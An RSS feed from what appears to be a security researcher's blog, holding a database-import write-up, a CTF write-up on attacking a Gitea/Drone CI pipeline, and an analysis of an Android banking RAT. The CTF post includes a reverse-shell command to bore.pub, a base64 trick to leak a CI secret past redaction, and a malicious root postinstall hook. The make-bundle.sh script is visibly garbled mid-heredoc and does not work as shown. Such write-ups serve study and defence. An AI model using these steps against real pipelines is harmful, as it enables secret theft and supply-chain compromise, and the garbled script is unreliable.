<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Stack Unwind]]></title><description><![CDATA[Notes on malware RE, distributed infrastructure, and building things. Writing about what I find, break, and build.]]></description><link>https://blog.realrudrap.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 07 Oct 2026 21:40:57 GMT</lastBuildDate><atom:link href="https://blog.realrudrap.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[What It Actually Takes to Import Data Into a Live Database]]></title><description><![CDATA[I was asked to add a couple thousand books to a live catalog serving a production website. While it seems simple enough on paper to be ticked off my to-do list within an afternoon with some clever scr]]></description><link>https://blog.realrudrap.dev/what-it-actually-takes-to-import-data-into-a-live-database</link><guid isPermaLink="true">https://blog.realrudrap.dev/what-it-actually-takes-to-import-data-into-a-live-database</guid><category><![CDATA[PostgreSQL]]></category><category><![CDATA[database]]></category><category><![CDATA[Import]]></category><category><![CDATA[books]]></category><category><![CDATA[production]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Wed, 09 Sep 2026 06:10:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/e93240ff-ba5d-40dd-abef-dfa0c1eab237.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was asked to add a couple thousand books to a live catalog serving a production website. While it seems simple enough on paper to be ticked off my to-do list within an afternoon with some clever scripting, it's just hitting some APIs, inserting rows and done. I thought so too until in practice, it took me 4 providers, a genre taxonomy rewrite, and a rollback plan that failed its own assumptions before even a single new book was added to production.</p>
<hr />
<h2>Trusting the Data</h2>
<p>Sourcing the data for a couple thousand books sounded like a straightforward affair. Google Cloud offered a Books API, but no data on historical book popularity trends. NYTimes offered a historical weekly best-seller list going back to 2017, but some information was missing, and OpenLibrary provided monthly data dumps of their entire catalog, but the goal was not to become a mirror of OpenLibrary.</p>
<p>With all the constraints considered, and the fact that a very similar pipeline will also feed an on-demand path for user imports (more on this later), I needed a robust mechanism of fetching arbitrary books, either through stable identifiers (ISBN) or through semantics like the Title and the name of the author.</p>
<p>Considering these constraints, I decided to use the NYTimes historical popularity data as the criteria for seeding the database with popularly read books.</p>
<p>Hardcover, another book reading service which offers a GraphQL API was also a consideration for selecting the most popular books, and I also downloaded around 1 lakh books from their API ranked on the basis of their popularity, although, while performing a sanity check, the top work which showed up was Harry Potter &amp; The Philosopher's Stone, in Spanish. This made me question the relevance of the popularity data on the platform, and I put the collected data aside for later use. I also learned about how a single work (like Harry Potter &amp; The Philosopher's Stone), may have multiple editions (paperback, hardcover, Spanish etc.) and all of them also have different ISBNs.</p>
<p>With all 4 providers accounted for, a quick clarifications on how things stand as of now. As of writing this, the pipeline has sourced over 5,000 books from the NYT, enriched roughly 3,500 of them and 2,000 books are pushed to production. Hardcover's 100,000 books are still touching untouched, waiting for a later pass once the initial seeding stage is done. Quality first, volume later.</p>
<hr />
<h2>External APIs are Someone Else's Database</h2>
<p>Using four providers meant four different opinions about what a books metadata should look like. Some providers had description missing, and some duplicated across languages. Author names could show up in a variety of ways depending on the source. Publishers were sometimes absent entirely. Page counts occasionally came back as zero, or as strings instead of numbers.</p>
<p>None of these was a bug from any providers end, that's just what happens when data is aggregated from publishers, libraries and crowd sourced catalogs which were never meant to be an authoritative source of truth or be inter-compatible. The importer had to assume every field could be wrong, missing, or malformed, and handle each case explicitly instead of trusting the shape of the response.</p>
<p>A few of the cleanup steps which had to be done before anything touched the database were:</p>
<pre><code class="language-plaintext">normalize_isbn(raw)       -&gt; strip hyphens, validate checksum, prefer ISBN-13
coalesce_author(record)   -&gt; fallback chain across providers, else "Unknown"
sanitize_page_count(n)    -&gt; reject non-positive or non-numeric values
resolve_language(record)  -&gt; default to English if unspecified
</code></pre>
<p>This was just defensive programming applied to a domain where the API returning valid JSON is completely unrelated to the data actually being usable.</p>
<hr />
<h2>Genre Normalization</h2>
<p>The genre problem was more interesting than expected. Google Books and most other providers report categories using BISAC codes, a publishing-industry taxonomy that doesn't map cleanly onto how the platform organizes books for readers. A BISAC category like <code>BODY, MIND &amp; SPIRIT</code> doesn't mean anything to a reader browsing by genre. It needed to become something like <code>Mythology &amp; Spirituality</code>. <code>TRUE CRIME</code> became <code>Thriller &amp; Mystery</code>. While some mappings were obvious, others required me to consult the business team to clarify the mappings.</p>
<p>I was initially planning to let any genres outside the defined ones default to the <code>Others</code> genre, I decided to log anything the importer didn't recognize during dry runs and left it for manual review. A surprising number of "missing" records were the same genres expressed differently, such as <code>Young Adult Fiction</code> instead of simply <code>Fiction</code>.</p>
<p>After this step, the number of genres went down from around a dozen to a couple of really obscure ones, which could then be cleanly sorted into the <code>Others</code> bucket.</p>
<hr />
<h2>Trusting Book Identity</h2>
<p>The same book can show up from four different providers with four different ISBNs, due to the whole works, titles and editions receiving different ISBNs and no obvious way to tell a script "these are the same book." Right now, the importer relies on ISBN-13 matching, both within the platform's own catalog and when merging records across providers.</p>
<p>This is also the exact problem the Goodreads TBR import feature has to solve in real time. A user uploads their export, and for every book not already on the platform, the system fetches it on demand from Google Books, falling back to OpenLibrary if needed. A confidence score then decides whether to add the book automatically or ask the user to confirm the match themselves. The bulk importer gets to be patient and let a human review its dry-run report before committing anything. The TBR import doesn't get that luxury, it has to decide instantly whether "Dune" from a user's shelf and "Dune" already in the database are the same book, with no dry run and no second chance to ask later, only the user standing there waiting for an answer.</p>
<p>Title and author fuzzy matching, to catch the cases ISBN matching misses, is still future work.</p>
<hr />
<h2>Trusting the Importer</h2>
<p>Sourcing clean data was one half of the story, actually importing it into a production database which had real data of users, while ensuring the foreign key and unique constraints, across various tables like <code>books</code>, <code>authors</code> and <code>book_authors</code> were respected was the real challenge.</p>
<p>Due to this, the import script was optimized for confidence, rather than speed. Some of the safety measures implemented in the importer are mentioned below:</p>
<ul>
<li><p>Each row got its own savepoint. If a single record failed due to any malformed field, that one row could be rolled back individually and logged to the console instead of taking down all the other books successfully imported before it.</p>
</li>
<li><p>A dry run was implemented, in which, instead of a simulation which could miss out on real database quirks, a real DB transaction was opened, in which actual authors, books were added, genres mapped, and printed detailed statistics reporting what it did. Then the entire session was rolled back. The dry run exercised the whole import path without leaving any visible change in the database, while simultaneously allowing me to analyze what all changes would persist in the DB in the actual run.</p>
</li>
</ul>
<p>The detailed statistics at the end of the import mattered more than the import itself, as it gave a quick overview of the commonly asked questions to determine if it was safe to run for real. Things like:</p>
<ol>
<li><p>How many books would be inserted</p>
</li>
<li><p>The number of rows before and after the insert</p>
</li>
<li><p>How many duplicates were found</p>
</li>
<li><p>How many, and which genres came back unmapped.</p>
</li>
<li><p>Any uncaught exceptions (were included in log lines)</p>
</li>
</ol>
<hr />
<h2>Working with a production DB</h2>
<p>While I initially planned to directly open a new connection and transaction on the production database while it was serving traffic, since it was only writing data to the rows which would only be read by general traffic, I ultimately chose the conservative route.</p>
<p>I took a dump of the database, stopped accepting new connections on the backend, ran the import, and had the dump to recover from in case things went horribly wrong.</p>
<p>What I did not realize while doing so though, was that not accepting new HTTP requests did not mean that the DB traffic from the application dies down. Background workers were running, scheduled tasks were firing, and analytics jobs could be running. A restore from before the import would have thrown away every write from these processes made in the meantime, which had nothing to do with the import itself.</p>
<p>Google Books also added a lesson in a similar category, albeit in a smaller way. It has excellent metadata, the best ISBN coverage out of any provider discussed here, but it caps usage at 1k requests a day, and the workflow for requesting a quota increase is broken. This is why enrichment happens daily instead of all at once, and the architecture doesn't assume that any single provider will always be available on demand. I am currently sticking to Google Books since they have the best quality data, and the import schedule doesn't have any hard deadlines.</p>
<hr />
<h2>Whats left</h2>
<p>A few things which are left unfinished:</p>
<ul>
<li><p>Title and author fuzzy matching, extending the confidence score logic already running in the TBR importer to work with the bulk import pipeline.</p>
</li>
<li><p>A proper maintenance mode which actually pauses the application, not just HTTP traffic.</p>
</li>
<li><p>Enriching the bulk data from Hardcover once we have seeded the higher quality data.</p>
</li>
</ul>
<hr />
<h2>Lessons Learned</h2>
<p>Importing books wasn't difficult. Designing a process that gave me confidence before touching production was.</p>
<p>None of the real lessons here were about Python or PostgreSQL or Google Books specifically. They were about trust: trusting the data enough to clean it instead of assuming it, trusting the importer enough to let a dry run answer questions before a single row committed, and trusting production enough to know that stopping traffic isn't the same as stopping the system.</p>
<p>Production changes deserve rehearsals.</p>
]]></content:encoded></item><item><title><![CDATA[The Three Ways]]></title><description><![CDATA[As part of the Brunner CTF 2026, the "Three ways" challenge is a Boot2Root challenge based on CI/CD—the first of its kind I've encountered. Having worked with CI/CD from the other side (building and t]]></description><link>https://blog.realrudrap.dev/the-three-ways</link><guid isPermaLink="true">https://blog.realrudrap.dev/the-three-ways</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[BrunnerCTF]]></category><category><![CDATA[ci-cd]]></category><category><![CDATA[gitea]]></category><category><![CDATA[Drone CI]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Tue, 25 Aug 2026 06:26:16 GMT</pubDate><content:encoded><![CDATA[<p>As part of the Brunner CTF 2026, the "Three ways" challenge is a Boot2Root challenge based on CI/CD—the first of its kind I've encountered. Having worked with CI/CD from the other side (building and testing my many side projects), it was a refreshing opportunity to explore this domain from an attacker's perspective. Without further ado, let's get into it.</p>
<hr />
<h1>Stage 1: Flow</h1>
<p>Spinning up the challenge instances provided links to a Gitea and a Drone instance. While I am familiar with Gitea being a self-hostable Git platform due to my many self-hosting rabbit-hole deep dives, Drone was new to me. I learned that it is a "CI/CD platform built with a containers-first architecture."</p>
<p>The challenge provided default credentials, with the following description:</p>
<pre><code class="language-text">Team, we did it. We have officially eliminated friction. Permission gates? Deprecated. Approval queues? A fixed mindset we've chosen to leave behind. Here at Brunnerne Inc.™, value flows left to right, unblocked, empowered and self-service.

Onboarding note for our new contractors: Welcome aboard! Your access is intentionally minimal, go create beautiful value for our shareholders. We're certain you will go down in history!

Credentials: `brunner_dev:dev_go_brr`
</code></pre>
<p>The permission gates being deprecated and approval queues being left behind, along with the presence of the Drone platform, immediately made me think about getting a shell on the CI machines.</p>
<p>Logging into Gitea with the provided default credentials revealed:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/852ebf92-c01b-499e-9f6e-5b9a346fef0c.png" alt="" style="display:block;margin:0 auto" />

<p>An empty dashboard!</p>
<p>Poking through the interface for a bit led me to the explore panel, where I could see two more repositories belonging to the <code>brunner_ops</code> and <code>brunner_admin</code> accounts.</p>
<p>The <code>brunner_ops</code> repository, in particular, looked really interesting given its latest commit message, which read: <code>read the ci password from the environment</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/c7a8adbe-4e27-4c5a-a7dd-d306f73dd9a0.png" alt="" style="display:block;margin:0 auto" />

<p>Looking into the commit history, the password for the <code>brunner_ci</code> user was sitting in plaintext. I then used that to log in as the <code>brunner_ci</code> user.</p>
<p>The current user also had write permissions for the <code>brunner_admin/hello-drone</code> repository, which also showed up on the Drone platform with an option to trigger a build.</p>
<p>The <code>.drone.yml</code> file at the repository root, which describes the whole pipeline, had three steps, two of which ran a Python file and its tests.</p>
<pre><code class="language-yml">kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: build
    commands:
      - python app.py

  - name: report
    commands:
      - echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"
</code></pre>
<p>The <code>app.py</code> itself was rather minimal, performing a few arithmetic operations. Using <a href="https://revshells.com">revshells</a>, I quickly added a few lines of code which would give me a reverse shell, which I was going to access using the <a href="https://github.com/ekzhang/bore">bore</a> tool on my PC.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/ef8ce3dd-d764-4ee9-aa7d-fad365f0fd22.png" alt="" style="display:block;margin:0 auto" />

<p>Committing to the repository triggered the CI step, and a reverse shell owned by the drone user was waiting for me! Navigating to the home directory of the drone user revealed the first flag!</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/9ef9de7a-4b5c-4e02-83fa-f9ea7a4ecc19.png" alt="" style="display:block;margin:0 auto" />

<p>Flag: <code>brunner{4ch13v3_4bs0lut3_fl0w_st4t3}</code></p>
<hr />
<h2>Stage 2: Feedback/Continuous Improvement</h2>
<p>With my <code>brunner_ci</code> session, the explore tab also showed a private repository called <code>deploy_tools</code> owned by the <code>brunner_ops</code> user. The <code>README.md</code> said:</p>
<pre><code class="language-text"># deploy-tools

Tooling for building and verifying rollout bundles. Read-only members can open pull requests.

## CI

`verify-release.sh` pulls the newest bundle and re-checks its `SHA256SUMS`. 
</code></pre>
<p>This sounded like the author intended for players to fork the repository and have it executed via the Drone CI.</p>
<p>The challenge description also echoed a similar sentiment:</p>
<pre><code class="language-text">Brunnerne is a blameless, feedback-rich organisation. Every pull request runs our world-class verification pipeline, because we believe great ideas can come from anywhere, even outside the team. Especially outside the team. We're inclusive like that.

Rest assured: our secrets are handled to industry-adjacent standards and our logs are appropriately redacted.
</code></pre>
<p>The last line indicates that string-matching secret redaction would be enabled for the repository, so we'll have to encode the secret before printing it to avoid redaction.</p>
<p>Looking through the deploy-tools repository, the <code>.drone.yml</code> file shows that the <code>verify-release.sh</code> script runs with the <code>REGISTRY_TOKEN</code> variable set!</p>
<pre><code class="language-yml">kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - sh verify-release.sh
</code></pre>
<p>The bundled (pun intended) <code>make-bundle.sh</code> script does most of the heavy lifting, taking in a source directory and a version number. Most importantly, it ensures that we include a post-install hook, making that the obvious attack path. Here's the full script:</p>
<pre><code class="language-shell">#!/bin/sh
set -eu

SRC=${1:?usage: make-bundle.sh &lt;src-dir&gt; &lt;version&gt; [out-dir]}
VERSION=${2:?usage: make-bundle.sh &lt;src-dir&gt; &lt;version&gt; [out-dir]}
OUT=${3:-dist}
PACKAGE=rollout-bundle

[ -d "$SRC" ] || { echo "no such directory: $SRC" &gt;&amp;2; exit 1; }

WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT

mkdir -p "$WORK/bundle"
cp -R "$SRC/." "$WORK/bundle/"

if [ -d "$SRC/$OUT" ]; then
  rm -rf "$WORK/bundle/$OUT"
fi

[ -f "$WORK/bundle/hooks/postinstall" ] || {
  echo "$SRC/hooks/postinstall is missing, the agent has nothing to run" &gt;&amp;2
  exit 1
}

cat &gt; "$WORK/bundle/manifest.json" &lt;&lt;EOF "$PACKAGE", "$VERSION", "$WORK/bundle" "$WORK/bundle/SHA256SUMS" "hooks": "hooks/postinstall" "package": "postinstall": "version": &amp;&amp; ( ) -exec -f -k2 -type . EOF \; cd f find rm sha256sum sort { {} | }&gt; "$WORK/SHA256SUMS"
mv "$WORK/SHA256SUMS" "$WORK/bundle/SHA256SUMS"

mkdir -p "$OUT"
tar -czf "$OUT/$PACKAGE-$VERSION.tar.gz" -C "$WORK" bundle
echo "$OUT/$PACKAGE-$VERSION.tar.gz"
</code></pre>
<p>Drone also injects the workspace secrets into the fork runs, so I forked the repository and cloned it to my machine.</p>
<p>Checking the <code>.drone.yml</code> file again, I realized that the environment variable containing the registry token was set in the <code>verify-release</code> step. I replaced the command in there to open a reverse shell to my machine. It now looked like this:</p>
<pre><code class="language-yml">kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - sh -i &gt;&amp; /dev/tcp/bore.pub/61940 0&gt;&amp;1
</code></pre>
<p>It failed with an error, and I realized I didn't need a shell at all. I just added the following line:</p>
<pre><code class="language-bash">echo "$REGISTRY_TOKEN" | base64
</code></pre>
<p>The base64 encoding was to escape Gitea's string secret detection.</p>
<p>The build ran, but it was not giving the correct token; instead, it just output <code>Cg==</code> (which is just an empty newline). I realized that this was because it was running in the context of the <code>brunner_ci</code> user. I opened a pull request into the <code>brunner_ops</code> repository, which triggered the build in their context. The registry token was then leaked as <code>NzVjNDlkNmQ1ZDYwMDRjZTQyMWE3NTU1YTY1MWEyM2RhZjFjYjhhMwo=</code>, which decoded to <code>75c49d6d5d6004ce421a7555a651a23daf1cb8a3</code>.</p>
<p>With the <code>brunner_ops</code> token, which presumably had write access to the package repository, we could now finally insert our malicious package to get a root shell.</p>
<p>Before continuing on this path, I decided to use the Gitea API to ensure we had write permissions on the package repository.</p>
<pre><code class="language-bash">➜ litmus deploy-tools (main) ✔ curl -s -H "Authorization: token 75c49d6d5d6004ce421a7555a651a23daf1cb8a3" \
  "$GITEA_URL/api/v1/user" | jq
{
  "id": 5,
  "login": "brunner_svc",
  "login_name": "",
  "full_name": "",
  "email": "svc@example.com",
  "avatar_url": "[https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon](https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon)",
  "language": "",
  "is_admin": false,
  "last_login": "1970-01-01T00:00:00Z",
  "created": "2026-08-24T16:07:19Z",
  "restricted": false,
  "active": true,
  "prohibit_login": false,
  "location": "",
  "website": "",
  "description": "",
  "visibility": "private",
  "followers_count": 0,
  "following_count": 0,
  "starred_repos_count": 0,
  "username": "brunner_svc"
}
</code></pre>
<p>This confirms that it's a service account: <code>brunner_svc</code>.</p>
<p>Since <code>make-bundle.sh</code> had already told us everything we needed—the expected source layout, the mandatory <code>hooks/postinstall</code> script, and the fact that the agent installs whatever is versioned newest—building the payload was straightforward.</p>
<pre><code class="language-bash">➜ litmus deploy-tools (main) ✔ mkdir malicious-src/hooks -p
➜ litmus deploy-tools (main) ✔ nvim malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ chmod +x malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ sh make-bundle.sh malicious-src 999.0.0 dist
dist/rollout-bundle-999.0.0.tar.gz
➜ litmus deploy-tools (main) ✗
</code></pre>
<p>The version <code>999.0.0</code> was chosen to comfortably outrank any existing version. The resulting tarball was uploaded directly to the <code>brunner_registry</code> generic package feed using the token leaked in Stage 2.</p>
<p>The script was structured as follows:</p>
<pre><code class="language-bash">mkdir -p malicious-src/hooks
cat &gt; malicious-src/hooks/postinstall &lt;&lt; 'EOF'
#!/bin/sh
{
  id
  cat /root/flag.txt 2&gt;/dev/null
} &gt; /tmp/pwned.log 2&gt;&amp;1
EOF
chmod +x malicious-src/hooks/postinstall

sh make-bundle.sh malicious-src 999.0.0 dist
</code></pre>
<p>To retrieve the result, another step was added to the pipeline to read the output file:</p>
<pre><code class="language-yml">  - name: read-result
    commands:
      - cat /tmp/pwned.log
</code></pre>
<p>This returned:</p>
<pre><code class="language-shell">uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}
</code></pre>
<p>There was a third flag too, buried somewhere in a hidden package version accessible via the Drone CI API, but I haven't included it here as I didn't find it during the CTF.</p>
]]></content:encoded></item><item><title><![CDATA[ Caught in the Reeloop]]></title><description><![CDATA[Its been a while since the last post here. College reopened after the summer break, I was involved in hosting the IEEE NETSIP 2026, and the analysis itself took longer than expected. Two weeks is a bi]]></description><link>https://blog.realrudrap.dev/caught-in-the-reeloop</link><guid isPermaLink="true">https://blog.realrudrap.dev/caught-in-the-reeloop</guid><category><![CDATA[Android]]></category><category><![CDATA[Malware]]></category><category><![CDATA[malware analysis]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Wed, 12 Aug 2026 05:52:21 GMT</pubDate><content:encoded><![CDATA[<p>Its been a while since the last post here. College reopened after the summer break, I was involved in hosting the IEEE NETSIP 2026, and the analysis itself took longer than expected. Two weeks is a bigger gap than what I would've liked, but the wait brought some depth this time.</p>
<p>The sample which I started analyzing calls itself <code>NightPlay</code>. It was the final payload, missing the whole delivery chain around it. I traced the lure site, the dropper and the propagation mechanism later. So this post is not written in the order in which I figured things out. Instead, it follows the malware's actual execution path, starting from where a victim would actually land: an adult video site which never plays any.</p>
<hr />
<h2>The Lure: Nightroom</h2>
<p>The trail starts on <code>nightroom.cc</code>, an adult video aggregator site. It clearly looks like a vibe-coded site, consisting of a grid of thumbnails of "Beauty Videos", and a CTA button to download an app to access 999 Free Plays.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/8bff6cbe-ba06-498e-b424-9a08aa80250b.png" alt="" style="display:block;margin:0 auto" />

<p>Clicking on any video, and attempting to play it results in a APK download being triggered. The authors seem to be frequently rotating the APKs and the webpage being served over the C2 domain, as atleast a couple of variations were observed over the 2 weeks of analysis.</p>
<p>The downloaded APK is called <code>Vexo</code>. It sits tiny at around 2.71MB, and it doesn't serve much purpose beyond installing the next stage of the malware.</p>
<hr />
<h2>The Dropper: Vexo/Onda Pulse</h2>
<p>When trying to install the app, the package manager reports the name of the app as <code>Onda Pulse</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/3436da54-3e2a-448f-b5c0-a72d25b712b0.png" alt="" style="display:block;margin:0 auto" />

<p>Upon installing the app and launching it, a VPN connection is set up, and the app requests permission to install unknown apps. With some static code analysis, it doesn't look like the VPN service is doing much by itself. It seems to have been implemented by the author as an anti-analysis measure, since only one VPN app at a time can be active on Android Devices, hence rendering VPN based inspection tools like HTTP Proxy unusable to network analysis.</p>
<p>Followed by this, the user is presented with a screen which tries to impersonate the Google Play Store and tricks the user into installing the second stage payload.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/a45c465f-a708-4ab7-95b3-7c42893154d6.png" alt="" style="display:block;margin:0 auto" />

<p>The app then pulls another app with the same Launcher Name (Onda Pulse), but a larger size (64MB) from it's C2, and installs it on the device. After a brief loading screen, the user is presented with a short-form video like interface with adult content. Newer versions of the dropper also included a menu offering to connect users to adult content creators, and an "AI Studio", which showcased a blurred thumbnail library of multiple videos.</p>
<p>Trying to click upon any of these 3 lures results in the app requesting "Playback service access", which actually takes the user to the Accessibility settings for the app.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/96ee53f6-b7cc-4f02-b250-60fed40b4363.png" alt="" style="display:block;margin:0 auto" />

<p>Enabling the permission brings up an initialization screen, which blocks everything else from the screen, and in the background grants the app access to the common permissions like calls, SMS etc, while also enrolling the app as a "Device admin" app, which makes it much more difficult to uninstall/force stop an app for naive users.</p>
<p>The app uses the device admin permission to lock the device, and when the user unlocks the device, it presents an unlock screen similar to the lock method set by the user (pattern/PIN etc.) The first entry on the lock always results in a failed attempt, and the second attempt always succeeds.</p>
<hr />
<h2>Under the hood</h2>
<p>Everything up to this point was Vexo and Onda Pulse, but as noted earlier, the attackers rotate the APKs and webpages served by their infrastructure over time. The following analysis was performed on samples that shipped under different names entirely: the dropper was called <code>Reeloop</code>, and the payload called itself <code>NightPlay</code>. Different names, different hashes, but nearly identical behavior. That earlier analysis went much deeper than this one, so from here on, the technical breakdown continues on that sample.</p>
<p>While this was the flow of a victim of the malware, I also recorded the app's activity, analyzed its source code, and dumped files from its private storage, thanks to my newly rooted secondary device.</p>
<h3>Remote Config</h3>
<p>The first move of the app is to request a config file, hosted, of all places on GitHub pages at <code>https://yanglin202107.github.io/project-docs/d/config.json</code></p>
<pre><code class="language-json">{
  "version": 9,
  "updatedAt": "2026-07-03T05:28:43Z",
  "servers": [
    { "name": "主节点", "apiBase": "https://voicezone.vip", "region": "hk", "priority": 1 },
    { "name": "主节点", "apiBase": "https://nightroom.cc", "region": "hk", "priority": 2 }
  ]
}
</code></pre>
<p>The two candidate C2 hosts are also on the domain on which the lure sites run. The app checks <code>/api/health</code> on both before picking one.</p>
<p>During my analysis runs of the app, <code>voicezone.vip</code> answered with a <code>HTTP 200</code> on the health check, but the step after that (device registration) returned <code>HTTP 500</code>. Instead of trying to figure out why their priority 1 server was half broken, I blocked outbound traffic to <code>voicezone.vip</code> in my test environment, which forced the app to fall back to <code>nightroom.cc</code>, and from there, the whole registration and config flow went cleanly.</p>
<h3>Device Registration</h3>
<p>Once it settles on a working host, the app checks in via <code>/api/device/init</code>. The request carries the Android ID, app version, build fingerprint, screen metadata, and a SHA256 hash of its own signing certificate, alongside a locally computed proof value:</p>
<pre><code class="language-json">{
  "androidId": "84ed4d529051ab92",
  "appVersion": "3.0.83",
  "brand": "google",
  "buildFingerprint": "google/sdk_gphone16k_x86_64/emu64xa16k:17/CP31.260618.005/15731206:userdebug/dev-keys",
  "packageName": "com.codex.nightplay",
  "packageSignature": "28fb1fbf9c71354729eb5d2d38dfb5de99a092ef83e086532a4e178d7c474ba3",
  "proof": "5a5580d54802e968e9f9bac47dc7ccba30ddcced3e2ba37712c963b7ca3b3d68",
  "proofAlgorithm": "sha256-local-v1",
  "proofTimestampMs": 1785134538068
}
</code></pre>
<p>That packageSignature value isn't cosmetic. It matches the SHA256 fingerprint of the app's own debug certificate exactly. The backend is fingerprinting every build by its signing key, meaning whoever runs this operation can tie a registered device back to the exact build, and by extension the exact campaign, that infected it.</p>
<p>Both <code>voicezone.vip</code> and <code>nightroom.cc</code> passed their <code>/api/health</code> checks fine. It was the actual <code>/api/device/init</code> call to <code>nightroom.cc</code> that failed, a 502 from <code>nginx</code>. <code>voicezone.vip</code> took the request cleanly instead and returned:</p>
<pre><code class="language-json">{
  "code": 0,
  "data": {
    "deviceId": "DEV-DD6B2E497B18",
    "deviceCode": "DEV-DD6B2E497B18",
    "token": "b7b16159-fe52-49c1-a31a-e26a0423b46c"
  },
  "msg": "初始化成功"
}
</code></pre>
<p>With that token, it calls <code>/api/app/auth/device-login</code>:</p>
<pre><code class="language-json">{
  "channel": "official",
  "deviceCode": "DEV-DD6B2E497B18",
  "inviteCode": "123456",
  "loginSource": "app-native"
}
</code></pre>
<p>That <code>123456</code> invite code isn't something a user typed in anywhere, it's hardcoded into the build (<code>BuildConfig.DEFAULT_INVITE_CODE</code>). The response is a JWT plus a full user object:</p>
<pre><code class="language-json">{
  "code": 0,
  "data": {
    "isNewUser": true,
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "user": {
      "deviceCode": "DEV-DD6B2E497B18",
      "inviteCode": "GT3PQU",
      "isVip": false,
      "nickname": "user1231",
      "permissionLevel": 0,
      "permissionStage": "registered",
      "userId": 1453678,
      "userNo": "U2026072791231"
    }
  },
  "msg": "登录成功"
}
</code></pre>
<p>Notice the two invite codes at play here. The app logs in using the hardcoded default <code>123456</code>, and the server logs it in as <code>isNewUser: true</code> and hands back a brand new invite code of its own, <code>GT3PQU</code>. Every infected device becomes a fresh node in a referral tree, with its own code to pass along. This is the same mechanic behind the "My Invite Code" field you'd have seen on the lure app's profile screen, copy code, invite friends, rack up plays. It's not decoration bolted onto a RAT. The RAT is bolted onto a referral program.</p>
<h3>Runtime Configuration</h3>
<p>Registered and logged in, the app pulls its full operating configuration from <code>/api/device/config</code>. This single response is enormous, deep enough that reproducing all of it here would bury the interesting parts, so I've uploaded the full JSON to a GitLab snippet for anyone who wants to dig through it themselves. A few pieces are worth pulling out directly.</p>
<p><code>appSoftwareMonitorConfigs</code> lists the apps it watches for, PhonePe, Paytm, GPay, BHIM, Nagad, and dozens more across UPI, international banking, and crypto. Each entry is tagged with a <code>listenType</code> and a target package name, so the client knows exactly what to look for on the device without any of that logic being hardcoded into the APK itself. Push a new entry to this list server-side, and every infected device starts watching for it, no update required.</p>
<p><code>stagesConfigs</code> goes a level deeper for a smaller set of these apps (PhonePe, GPay, Paytm, BHIM, and around fifteen others), defining a four-stage credential harvesting playbook per app: a <code>login</code> stage to detect a PIN or password screen, a <code>balance</code> stage to locate and read account balance, a <code>payment</code> stage to catch a transaction PIN entry and extract bank name and amount, and a <code>success</code> stage to confirm the payment went through. Each stage carries its own view IDs, keyword lists, and PIN length bounds. This is app-specific phishing logic, shipped and updated entirely from the server side.</p>
<p><code>lockscreenUnlockAuto</code> is the piece that explains the fake-unlock trick directly. It's enabled by default, and it defines multilingual hint word lists (English, Hindi, and Chinese observed) to recognize password, PIN, and pattern lock screens, plus biometric fallback prompts like "Use password" or "Try another way." It carries its own timing parameters too, swipe count, PIN entry delay, pattern duration, retry limits, all tunable from the server without touching the client. This is the same screen I ran into during the Onda Pulse trace:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/19f37c18-41fb-46b2-8617-26aa93589e21.png" alt="" style="display:block;margin:0 auto" />

<p>The overlay convincingly mimics the device's actual lock type because the malware already knows the lock type, it recorded it before triggering the lock in the first place. The first attempt always fails regardless of what's entered, and the second always succeeds. Looking at <code>lockscreenUnlockAuto</code>, that's not a bug or a race condition, it's a scripted behavior with its own retry and timing config.</p>
<p>One more piece worth a mention: <code>keepAlive</code> defines a set of evasion strategies, one of which watches for the user landing on a battery-drain or force-stop screen (matched against a long multilingual keyword list) and immediately backs out. Combined with the device admin enrollment, this is another layer standing between a suspicious user and actually removing the app.</p>
<h3>WebSocket Protocol</h3>
